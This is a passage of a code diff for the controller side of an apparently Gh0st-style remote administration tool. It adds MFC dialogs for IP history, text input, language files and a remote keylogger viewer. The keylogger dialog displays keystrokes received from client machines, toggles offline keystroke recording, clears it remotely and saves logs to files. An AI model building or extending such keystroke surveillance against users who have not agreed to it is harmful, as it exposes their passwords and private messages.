m_ListBox.ResetContent();
|
||||
|
||||
// 设置水平滚动范围
|
||||
CDC* pDC = m_ListBox.GetDC();
|
||||
int maxWidth = 0;
|
||||
|
||||
int index = 1;
|
||||
for (const auto& record : m_Records) {
|
||||
CString line;
|
||||
|
||||
if (!record.machineName.empty()) {
|
||||
if (!record.formattedDate.empty()) {
|
||||
line.Format(_TR("%d. %s [%s] (最后活跃: %s)"),
|
||||
index,
|
||||
CString(record.ip.c_str()).GetString(),
|
||||
CString(record.machineName.c_str()).GetString(),
|
||||
CString(record.formattedDate.c_str()).GetString());
|
||||
} else {
|
||||
line.Format(_T("%d. %s [%s]"),
|
||||
index,
|
||||
CString(record.ip.c_str()).GetString(),
|
||||
CString(record.machineName.c_str()).GetString());
|
||||
}
|
||||
} else {
|
||||
if (!record.formattedDate.empty()) {
|
||||
line.Format(_TR("%d. %s (最后活跃: %s)"),
|
||||
index,
|
||||
CString(record.ip.c_str()).GetString(),
|
||||
CString(record.formattedDate.c_str()).GetString());
|
||||
} else {
|
||||
line.Format(_T("%d. %s"),
|
||||
index,
|
||||
CString(record.ip.c_str()).GetString());
|
||||
}
|
||||
}
|
||||
|
||||
m_ListBox.AddString(line);
|
||||
|
||||
// 计算文本宽度
|
||||
if (pDC) {
|
||||
CSize size = pDC->GetTextExtent(line);
|
||||
if (size.cx > maxWidth) {
|
||||
maxWidth = size.cx;
|
||||
}
|
||||
}
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
// 设置水平滚动范围
|
||||
if (pDC) {
|
||||
m_ListBox.ReleaseDC(pDC);
|
||||
m_ListBox.SetHorizontalExtent(maxWidth + 20);
|
||||
}
|
||||
}
|
||||
43
server/2015Remote/IPHistoryDlg.h
Normal file
43
server/2015Remote/IPHistoryDlg.h
Normal file
@@ -0,0 +1,43 @@
|
||||
// IPHistoryDlg.h - IP 历史记录对话框
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
struct IPRecord {
|
||||
std::string ip;
|
||||
std::string machineName;
|
||||
std::string timestamp;
|
||||
std::string formattedDate;
|
||||
int daysAgo;
|
||||
};
|
||||
|
||||
class CIPHistoryDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CIPHistoryDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CIPHistoryDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_IP_HISTORY };
|
||||
|
||||
// 设置数据
|
||||
void SetTitle(const CString& title) { m_strTitle = title; }
|
||||
void SetRecords(const std::vector<IPRecord>& records) { m_Records = records; }
|
||||
void SetRemovedCount(int count) { m_nRemovedCount = count; }
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
CListBox m_ListBox;
|
||||
CString m_strTitle;
|
||||
std::vector<IPRecord> m_Records;
|
||||
int m_nRemovedCount;
|
||||
|
||||
void PopulateList();
|
||||
};
|
||||
224
server/2015Remote/InputDlg.cpp
Normal file
224
server/2015Remote/InputDlg.cpp
Normal file
@@ -0,0 +1,224 @@
|
||||
// InputDialog.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "InputDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "2015Remote.h"
|
||||
#include <algorithm>
|
||||
|
||||
|
||||
// CInputDialog 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CInputDialog, CDialogEx)
|
||||
|
||||
CInputDialog::CInputDialog(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLangEx(IDD_DIALOG_INPUT, pParent)
|
||||
, m_sSecondInput(_T(""))
|
||||
, m_sThirdInput(_T(""))
|
||||
, m_sTipInfo(_T(""))
|
||||
{
|
||||
m_hIcon = NULL;
|
||||
}
|
||||
|
||||
CInputDialog::~CInputDialog()
|
||||
{
|
||||
}
|
||||
|
||||
void CInputDialog::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_FOLDERNAME, m_ComboInput);
|
||||
DDX_Control(pDX, IDC_STATIC_SECOND, m_Static2thInput);
|
||||
DDX_Control(pDX, IDC_EDIT_SECOND, m_Edit2thInput);
|
||||
DDX_Text(pDX, IDC_EDIT_SECOND, m_sSecondInput);
|
||||
DDV_MaxChars(pDX, m_sSecondInput, 100);
|
||||
DDX_Control(pDX, IDC_STATIC_THIRD, m_Static3rdInput);
|
||||
DDX_Control(pDX, IDC_EDIT_THIRD, m_Edit3rdInput);
|
||||
DDX_Text(pDX, IDC_EDIT_THIRD, m_sThirdInput);
|
||||
DDV_MaxChars(pDX, m_sThirdInput, 100);
|
||||
DDX_Control(pDX, IDC_STATIC_TIPINFO, m_StaticTipInfo);
|
||||
DDX_Text(pDX, IDC_STATIC_TIPINFO, m_sTipInfo);
|
||||
DDV_MaxChars(pDX, m_sTipInfo, 64);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CInputDialog, CDialogEx)
|
||||
ON_BN_CLICKED(IDOK, &CInputDialog::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CInputDialog 消息处理程序
|
||||
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt)
|
||||
{
|
||||
m_sCaption = caption;
|
||||
m_sPrompt = prompt;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CInputDialog::Init2(LPCTSTR name, LPCTSTR defaultValue)
|
||||
{
|
||||
m_sItemName = name;
|
||||
m_sSecondInput = defaultValue;
|
||||
}
|
||||
|
||||
void CInputDialog::Init3(LPCTSTR name, LPCTSTR defaultValue)
|
||||
{
|
||||
m_sItemName3 = name;
|
||||
m_sThirdInput = defaultValue;
|
||||
}
|
||||
|
||||
void CInputDialog::SetHistoryKey(LPCTSTR historyKey)
|
||||
{
|
||||
m_sHistoryKey = historyKey;
|
||||
}
|
||||
|
||||
void CInputDialog::LoadHistory()
|
||||
{
|
||||
if (m_sHistoryKey.IsEmpty()) return;
|
||||
|
||||
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
|
||||
if (history.empty()) return;
|
||||
|
||||
// 按 | 分割历史记录
|
||||
auto items = StringToVector(history, '|');
|
||||
for (size_t i = 0; i < items.size() && i < 16; i++) {
|
||||
if (!items[i].empty()) {
|
||||
m_ComboInput.AddString(items[i].c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CInputDialog::SaveHistory()
|
||||
{
|
||||
if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
|
||||
|
||||
std::string newValue = m_str.GetString();
|
||||
|
||||
// 输入包含 | 则不保存到历史(避免破坏分隔符格式)
|
||||
if (newValue.find('|') != std::string::npos) return;
|
||||
|
||||
// 读取现有历史
|
||||
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
|
||||
auto items = StringToVector(history, '|');
|
||||
|
||||
// 去重:如果新值已存在,先删除旧位置
|
||||
items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
|
||||
// 移除空项
|
||||
items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
|
||||
|
||||
// 插入新值到最前面
|
||||
items.insert(items.begin(), newValue);
|
||||
|
||||
// 截断到 16 项
|
||||
if (items.size() > 16) {
|
||||
items.resize(16);
|
||||
}
|
||||
|
||||
// 用 | 连接,写回配置
|
||||
std::string result;
|
||||
for (size_t i = 0; i < items.size(); i++) {
|
||||
if (i > 0) result += '|';
|
||||
result += items[i];
|
||||
}
|
||||
THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
|
||||
}
|
||||
|
||||
BOOL CInputDialog::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
// 多语言翻译 - Static控件
|
||||
SetDlgItemText(IDC_STATIC_SECOND, _TR("另一个输入框:"));
|
||||
SetDlgItemText(IDC_STATIC_THIRD, _TR("第三个输入框:"));
|
||||
SetDlgItemText(IDC_STATIC_TIPINFO, _TR("提示信息"));
|
||||
SetDlgItemText(IDC_STATIC_INPUT_PROMPT, _TR("请输入目录:"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
SetWindowText(m_sCaption);
|
||||
SetDlgItemText(IDC_STATIC_INPUT_PROMPT, m_sPrompt);
|
||||
LoadHistory();
|
||||
m_ComboInput.SetWindowText(m_str);
|
||||
|
||||
// 设置输入框内容和显示状态
|
||||
m_Static2thInput.SetWindowTextA(m_sItemName);
|
||||
m_Static2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW);
|
||||
m_Edit2thInput.SetWindowTextA(m_sSecondInput);
|
||||
m_Edit2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW);
|
||||
m_Static3rdInput.SetWindowTextA(m_sItemName3);
|
||||
m_Static3rdInput.ShowWindow(m_sItemName3.IsEmpty() ? SW_HIDE : SW_SHOW);
|
||||
m_Edit3rdInput.SetWindowTextA(m_sThirdInput);
|
||||
m_Edit3rdInput.ShowWindow(m_sItemName3.IsEmpty() ? SW_HIDE : SW_SHOW);
|
||||
m_StaticTipInfo.SetWindowTextA(m_sTipInfo);
|
||||
m_StaticTipInfo.ShowWindow(m_sTipInfo.IsEmpty() ? SW_HIDE : SW_SHOW);
|
||||
|
||||
// 根据输入框数量动态调整对话框高度
|
||||
int inputCount = 1; // 至少有第一个输入框
|
||||
if (!m_sItemName.IsEmpty()) inputCount = 2;
|
||||
if (!m_sItemName3.IsEmpty()) inputCount = 3;
|
||||
|
||||
// 计算新高度和按钮位置 (对话框单位)
|
||||
// 1个输入框: 高度57, 按钮y=36
|
||||
// 2个输入框: 高度81, 按钮y=60
|
||||
// 3个输入框: 高度105, 按钮y=84
|
||||
int dlgHeight = 57 + (inputCount - 1) * 24;
|
||||
int buttonY = 36 + (inputCount - 1) * 24;
|
||||
int tipY = buttonY - 12;
|
||||
|
||||
// 将对话框单位转换为像素
|
||||
CRect dlgRect;
|
||||
GetWindowRect(&dlgRect);
|
||||
CRect clientRect;
|
||||
GetClientRect(&clientRect);
|
||||
|
||||
// 使用 MapDialogRect 将对话框单位转换为像素
|
||||
CRect unitRect(0, 0, 4, dlgHeight);
|
||||
MapDialogRect(&unitRect);
|
||||
int newHeightPixels = unitRect.bottom + (dlgRect.Height() - clientRect.Height());
|
||||
|
||||
// 调整对话框大小
|
||||
SetWindowPos(NULL, 0, 0, dlgRect.Width(), newHeightPixels, SWP_NOMOVE | SWP_NOZORDER);
|
||||
|
||||
// 调整按钮位置
|
||||
CRect btnRect(0, 0, 4, buttonY);
|
||||
MapDialogRect(&btnRect);
|
||||
int btnYPixels = btnRect.bottom;
|
||||
|
||||
CWnd* pBtnOK = GetDlgItem(IDOK);
|
||||
CWnd* pBtnCancel = GetDlgItem(IDCANCEL);
|
||||
if (pBtnOK && pBtnCancel) {
|
||||
CRect okRect, cancelRect;
|
||||
pBtnOK->GetWindowRect(&okRect);
|
||||
ScreenToClient(&okRect);
|
||||
pBtnCancel->GetWindowRect(&cancelRect);
|
||||
ScreenToClient(&cancelRect);
|
||||
|
||||
pBtnOK->SetWindowPos(NULL, okRect.left, btnYPixels, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
|
||||
pBtnCancel->SetWindowPos(NULL, cancelRect.left, btnYPixels, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
|
||||
}
|
||||
|
||||
// 调整提示信息位置
|
||||
if (!m_sTipInfo.IsEmpty()) {
|
||||
CRect tipUnitRect(0, 0, 4, tipY);
|
||||
MapDialogRect(&tipUnitRect);
|
||||
CRect tipRect;
|
||||
m_StaticTipInfo.GetWindowRect(&tipRect);
|
||||
ScreenToClient(&tipRect);
|
||||
m_StaticTipInfo.SetWindowPos(NULL, tipRect.left, tipUnitRect.bottom, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
|
||||
}
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
void CInputDialog::OnBnClickedOk()
|
||||
{
|
||||
m_ComboInput.GetWindowText(m_str);
|
||||
SaveHistory();
|
||||
|
||||
__super::OnOK();
|
||||
}
|
||||
57
server/2015Remote/InputDlg.h
Normal file
57
server/2015Remote/InputDlg.h
Normal file
@@ -0,0 +1,57 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
// CInputDialog 对话框
|
||||
|
||||
class CInputDialog : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CInputDialog)
|
||||
|
||||
public:
|
||||
CInputDialog(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CInputDialog();
|
||||
|
||||
BOOL Init(LPCTSTR caption, LPCTSTR prompt);
|
||||
|
||||
void Init2(LPCTSTR name, LPCTSTR defaultValue);
|
||||
void Init3(LPCTSTR name, LPCTSTR defaultValue); // 第三个输入框
|
||||
void SetHistoryKey(LPCTSTR historyKey); // 设置历史记录的配置键名
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_INPUT };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
HICON m_hIcon;
|
||||
CString m_sCaption;
|
||||
CString m_sPrompt;
|
||||
CString m_sHistoryKey; // 历史记录键名
|
||||
CComboBox m_ComboInput; // 主输入框 (ComboBox)
|
||||
|
||||
void LoadHistory(); // 从配置加载历史到下拉列表
|
||||
void SaveHistory(); // 保存当前输入到历史
|
||||
|
||||
public:
|
||||
CString m_str;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedOk();
|
||||
CStatic m_Static2thInput;
|
||||
CEdit m_Edit2thInput;
|
||||
CString m_sItemName;
|
||||
CString m_sSecondInput;
|
||||
CStatic m_Static3rdInput;
|
||||
CEdit m_Edit3rdInput;
|
||||
CString m_sItemName3;
|
||||
CString m_sThirdInput;
|
||||
CStatic m_StaticTipInfo;
|
||||
CString m_sTipInfo;
|
||||
};
|
||||
|
||||
typedef CInputDialog CInputDlg;
|
||||
207
server/2015Remote/KeyBoardDlg.cpp
Normal file
207
server/2015Remote/KeyBoardDlg.cpp
Normal file
@@ -0,0 +1,207 @@
|
||||
// KeyBoardDlg.cpp : implementation file
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include <WinUser.h>
|
||||
#include "KeyBoardDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#undef THIS_FILE
|
||||
static char THIS_FILE[] = __FILE__;
|
||||
#endif
|
||||
|
||||
#define IDM_ENABLE_OFFLINE 0x0010
|
||||
#define IDM_CLEAR_RECORD 0x0011
|
||||
#define IDM_SAVE_RECORD 0x0012
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CKeyBoardDlg dialog
|
||||
|
||||
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||
{
|
||||
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||||
}
|
||||
|
||||
|
||||
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
||||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||||
//}}AFX_DATA_MAP
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
||||
//{{AFX_MSG_MAP(CKeyBoardDlg)
|
||||
ON_WM_SIZE()
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SYSCOMMAND()
|
||||
//}}AFX_MSG_MAP
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CKeyBoardDlg message handlers
|
||||
|
||||
void CKeyBoardDlg::PostNcDestroy()
|
||||
{
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
__super::PostNcDestroy();
|
||||
}
|
||||
|
||||
BOOL CKeyBoardDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL) {
|
||||
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
|
||||
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
|
||||
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
}
|
||||
|
||||
UpdateTitle();
|
||||
|
||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
|
||||
void CKeyBoardDlg::UpdateTitle()
|
||||
{
|
||||
CString str;
|
||||
str.FormatL("%s - 键盘记录", m_IPAddress);
|
||||
if (m_bIsOfflineRecord)
|
||||
str += _TR(" (离线记录已开启)");
|
||||
else
|
||||
str += _TR(" (离线记录未开启)");
|
||||
SetWindowText(str);
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnReceiveComplete()
|
||||
{
|
||||
switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) {
|
||||
case TOKEN_KEYBOARD_DATA:
|
||||
AddKeyBoardData();
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::AddKeyBoardData()
|
||||
{
|
||||
// 最后填上0
|
||||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
m_edit.SetSel(len, len);
|
||||
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
||||
}
|
||||
|
||||
bool CKeyBoardDlg::SaveRecord()
|
||||
{
|
||||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().FormatL("_%Y-%m-%d_%H-%M-%S.txt");
|
||||
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, _T("TXT(*.txt)|*.txt|"), this);
|
||||
if(dlg.DoModal () != IDOK)
|
||||
return false;
|
||||
|
||||
CFile file;
|
||||
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
|
||||
CString msg;
|
||||
msg.FormatL("文件保存失败: %s", dlg.GetPathName().GetString());
|
||||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// Write the DIB header and the bits
|
||||
CString strRecord;
|
||||
m_edit.GetWindowText(strRecord);
|
||||
file.Write(strRecord, strRecord.GetLength());
|
||||
file.Close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
if (nID == IDM_ENABLE_OFFLINE) {
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL) {
|
||||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||||
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
else
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
|
||||
}
|
||||
UpdateTitle();
|
||||
|
||||
} else if (nID == IDM_CLEAR_RECORD) {
|
||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
m_edit.SetWindowText("");
|
||||
} else if (nID == IDM_SAVE_RECORD) {
|
||||
SaveRecord();
|
||||
} else {
|
||||
__super::OnSysCommand(nID, lParam);
|
||||
}
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::ResizeEdit()
|
||||
{
|
||||
RECT rectClient;
|
||||
RECT rectEdit;
|
||||
GetClientRect(&rectClient);
|
||||
rectEdit.left = 0;
|
||||
rectEdit.top = 0;
|
||||
rectEdit.right = rectClient.right;
|
||||
rectEdit.bottom = rectClient.bottom;
|
||||
m_edit.MoveWindow(&rectEdit);
|
||||
}
|
||||
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
// TODO: Add your message handler code here
|
||||
if (IsWindowVisible())
|
||||
ResizeEdit();
|
||||
}
|
||||
|
||||
|
||||
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
|
||||
return true;
|
||||
}
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
62
server/2015Remote/KeyBoardDlg.h
Normal file
62
server/2015Remote/KeyBoardDlg.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
|
||||
#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_
|
||||
|
||||
#include "Resource.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
// KeyBoardDlg.h : header file
|
||||
//
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CKeyBoardDlg dialog
|
||||
|
||||
class CKeyBoardDlg : public DialogBase
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
void OnReceiveComplete();
|
||||
CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
|
||||
// Dialog Data
|
||||
//{{AFX_DATA(CKeyBoardDlg)
|
||||
enum { IDD = IDD_DLG_KEYBOARD };
|
||||
CEdit m_edit;
|
||||
//}}AFX_DATA
|
||||
|
||||
// Overrides
|
||||
// ClassWizard generated virtual function overrides
|
||||
//{{AFX_VIRTUAL(CKeyBoardDlg)
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||
virtual void PostNcDestroy();
|
||||
//}}AFX_VIRTUAL
|
||||
|
||||
// Implementation
|
||||
protected:
|
||||
bool m_bIsOfflineRecord;
|
||||
|
||||
void AddKeyBoardData();
|
||||
void UpdateTitle();
|
||||
void ResizeEdit();
|
||||
bool SaveRecord();
|
||||
|
||||
// Generated message map functions
|
||||
//{{AFX_MSG(CKeyBoardDlg)
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
|
||||
//}}AFX_MSG
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||
|
||||
#endif // !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
|
||||
746
server/2015Remote/LangManager.h
Normal file
746
server/2015Remote/LangManager.h
Normal file
@@ -0,0 +1,746 @@
|
||||
#pragma once
|
||||
|
||||
#include <map>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <locale.h>
|
||||
#include <afxwin.h>
|
||||
#include "common/IniParser.h"
|
||||
|
||||
// 设置线程区域为简体中文
|
||||
// 这样 MBCS 程序在非中文系统上创建对话框时,也能正确解码 RC 资源中的 GBK 中文
|
||||
// 必须在任何对话框创建之前调用!
|
||||
inline void SetChineseThreadLocale()
|
||||
{
|
||||
// 设置线程区域为简体中文 (LCID = 2052 = 0x0804)
|
||||
// LANG_CHINESE (0x04) + SUBLANG_CHINESE_SIMPLIFIED (0x02) = 0x0804
|
||||
LCID lcidChinese = MAKELCID(MAKELANGID(LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED), SORT_DEFAULT);
|
||||
SetThreadLocale(lcidChinese);
|
||||
|
||||
// 同时设置 C 运行时库的区域(用于 mbstowcs 等函数)
|
||||
setlocale(LC_ALL, ".936"); // GBK 代码页
|
||||
}
|
||||
|
||||
// 语言管理类 - 支持多语言切换
|
||||
class CLangManager
|
||||
{
|
||||
private:
|
||||
std::map<CString, CString> m_strings; // 中文 -> 目标语言
|
||||
CString m_currentLang; // 当前语言代码
|
||||
CString m_langDir; // 语言文件目录
|
||||
|
||||
CLangManager() {}
|
||||
CLangManager(const CLangManager&) = delete;
|
||||
CLangManager& operator=(const CLangManager&) = delete;
|
||||
|
||||
public:
|
||||
static CLangManager& Instance()
|
||||
{
|
||||
static CLangManager instance;
|
||||
return instance;
|
||||
}
|
||||
|
||||
// 初始化语言目录
|
||||
void Init(const CString& langDir = _T(""))
|
||||
{
|
||||
if (langDir.IsEmpty()) {
|
||||
// 默认使用 exe 所在目录下的 lang 文件夹
|
||||
TCHAR path[MAX_PATH];
|
||||
GetModuleFileName(NULL, path, MAX_PATH);
|
||||
CString exePath(path);
|
||||
int pos = exePath.ReverseFind(_T('\\'));
|
||||
if (pos > 0) {
|
||||
m_langDir = exePath.Left(pos) + _T("\\lang");
|
||||
}
|
||||
} else {
|
||||
m_langDir = langDir;
|
||||
}
|
||||
|
||||
// 确保目录存在
|
||||
CreateDirectory(m_langDir, NULL);
|
||||
}
|
||||
|
||||
// 获取可用的语言列表
|
||||
std::vector<CString> GetAvailableLanguages()
|
||||
{
|
||||
std::vector<CString> langs;
|
||||
CString searchPath = m_langDir + _T("\\*.ini");
|
||||
|
||||
WIN32_FIND_DATA fd;
|
||||
HANDLE hFind = FindFirstFile(searchPath, &fd);
|
||||
if (hFind != INVALID_HANDLE_VALUE) {
|
||||
do {
|
||||
CString filename(fd.cFileName);
|
||||
int dotPos = filename.ReverseFind(_T('.'));
|
||||
if (dotPos > 0) {
|
||||
langs.push_back(filename.Left(dotPos));
|
||||
}
|
||||
} while (FindNextFile(hFind, &fd));
|
||||
FindClose(hFind);
|
||||
}
|
||||
return langs;
|
||||
}
|
||||
|
||||
// 检查语言文件编码是否为 ANSI
|
||||
// 返回 false 表示文件不存在或编码不是 ANSI(检测 BOM 和 UTF-8 无 BOM)
|
||||
bool CheckEncoding(const CString& langCode)
|
||||
{
|
||||
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
|
||||
TRACE("[LangEnc] zh_CN or empty, skip check\n");
|
||||
return true;
|
||||
}
|
||||
|
||||
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
||||
TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);
|
||||
|
||||
FILE* f = nullptr;
|
||||
if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) {
|
||||
TRACE("[LangEnc] fopen failed\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 读取文件内容(最多检测前 4KB 即可判断)
|
||||
unsigned char buf[4096];
|
||||
size_t n = fread(buf, 1, sizeof(buf), f);
|
||||
fclose(f);
|
||||
TRACE("[LangEnc] Read %zu bytes\n", n);
|
||||
|
||||
if (n == 0) return false;
|
||||
|
||||
// 检测 BOM
|
||||
if (n >= 3 && buf[0] == 0xEF && buf[1] == 0xBB && buf[2] == 0xBF) {
|
||||
TRACE("[LangEnc] Detected UTF-8 BOM\n");
|
||||
return false;
|
||||
}
|
||||
if (n >= 2 && buf[0] == 0xFF && buf[1] == 0xFE) {
|
||||
TRACE("[LangEnc] Detected UTF-16 LE BOM\n");
|
||||
return false;
